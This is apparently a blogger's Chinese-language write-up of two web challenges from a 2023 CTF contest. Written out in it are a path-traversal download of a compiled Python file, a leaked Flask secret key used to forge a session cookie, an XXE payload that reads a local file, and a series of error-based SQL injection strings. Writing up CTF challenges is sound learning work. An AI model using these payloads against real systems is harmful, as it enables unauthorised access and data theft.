目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. CarelessPy
    2. 2.2. Confronting robot

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

安洵杯精英赛2023 复现

2023/6/10 CTF线上赛
  |     |   总文章阅读量:

前言

web又爆零了555,不过这次做的两题倒是都有收获一点新的思路,直接开等wp

yysy考点确实挺多的

官方wp

WEB

CarelessPy

任意文件下载+pyc文件

进入题目ctrl+u

image-20230610120537716

发现两个路由和一个任意文件下载

/eval

image-20230610141237171

但是本人在做题的时候发现怎么传cmd都返回500,不知道问题在哪

看了wp才突然意识到,当时页面回显的是根目录下的所有文件和文件夹

也就是说我们要传入cmd的值是路径

(脑测部分)

传入?cmd=app发现存在__pycache__文件夹

查看__pycache__文件夹,发现存在part.cpython-311.pyc文件

/login

一个登录页面

session解码一下可以发现

image-20230610141401312

因此需要找key

任意文件下载/download?file=

测试发现app.py、flag、/proc被过滤了

下载根目录下的start.sh得到(其实这个东西好像没什么用只是忘了删而已)

#!/bin/sh
sh /flag.sh
python -m py_compile /app/part.py
python /app/app.py
rm -f /start.sh

同时也尝试下载/etc/environment和.dockerenv,但是里面都没有内容

于是路径穿越下载pyc文件进行反编译

/download?file=../../../app/__pycache`**`__`**`/part.cpython-311.pyc

在线反编译网站

得到part.py源码

import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'

得到key

然后就可以伪造session为{'islogin': True}

eyJpc2xvZ2luIjp0cnVlfQ.ZIPg0A.ygraPDQc1WFID0dsaTEsUVUfRCs

然后去/login实现登录

登录成功后页面回显 登录成功~呜呜呜~请前往 /th1s_1s_The_L4st_one

然后去/th1s_1s_The_L4st_one 路由

这里是xml页面,要用到xxe,

抓包测试发现在<web></web>处有回显位

使用file协议xxe注入读取flag即可

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<result><ctf>杂鱼~</ctf><web>&xxe;</web></result>

Confronting robot

报错注入+getshell

爆数据库名

?myname=1' and updatexml(1,concat(0x7e,database()),0)--+

得到robot_data

爆表名

?myname=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='robot_data')),0)--+

得到name

爆列名

?myname=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='name')),0)--+

得到username

爆字段名

?myname=1' and updatexml(1,concat(0x7e,(select group_concat(username)from name)),3)--+

发现有位数限制,用substr()读取

?myname=1' and updatexml(1,concat(0x7e,substr((select group_concat(username) from name),14,44)),3)--+

得到/sEcR@t_n@Bodyknow.php

然后来到这个页面,卡在执行命令上。。。

看官方wp是要进行主从复制,但是我并没有vps(